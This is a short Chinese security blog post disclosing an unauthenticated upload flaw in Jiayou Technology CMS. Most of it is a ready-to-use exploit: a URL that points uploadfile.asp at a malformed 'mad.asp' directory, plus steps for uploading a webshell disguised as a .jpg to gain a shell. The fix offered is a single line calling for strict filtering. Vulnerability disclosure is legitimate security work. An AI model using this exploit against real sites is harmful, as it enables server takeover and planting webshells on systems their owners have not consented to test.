您的位置 » 首页 » 实用工具 » 嘉友科技cms突破建立畸形目录上传漏洞及修复

嘉友科技cms突破建立畸形目录上传漏洞及修复

发表于5年前 | 作者: seay | 分类: 实用工具 | 孵化于:2012年09月13日 | 文章热度:2,548 次 全屏阅读

显示不全请点击全屏阅读

程序采用的上传页uploadfile.asp未进行验证,导致建立畸形目录上传图片木马获取shell漏洞。
exp:http://www.2cto.com /admin/uploadfile.asp?uppath=mad.asp&upname=&uptext=form1.mad.asp

他原上传目录是:http://www.2cto.com /uploadfile.asp?uppath=PicPath&upname=&uptext=form1.PicPath

而且他的上传文件没有过滤导致未授权访问。

直接上传小马 然后小马后面写为 1.jpg 访问路径 查看源代码

修复:严格过滤

Tags:

嘉友科技cms上传漏洞,

如果您喜欢我的博客,欢迎点击图片定订阅到邮箱填写您的邮件地址,订阅我们的精彩内容: 也可以点击链接【订阅到鲜果】

如果我的想法或工具帮助到了你,也可微信扫下方二维码打赏本人一杯咖啡


来自 Seay互联网安全博客
本文地址:http://www.cnseay.com/881/
文章版权说明请看置顶文章,尊重作者,转载请以链接形式标明原文地址

马上分享给你的朋友吧~

发表评论

你的大名(必填)

你的邮箱(必填)

评论内容(必填)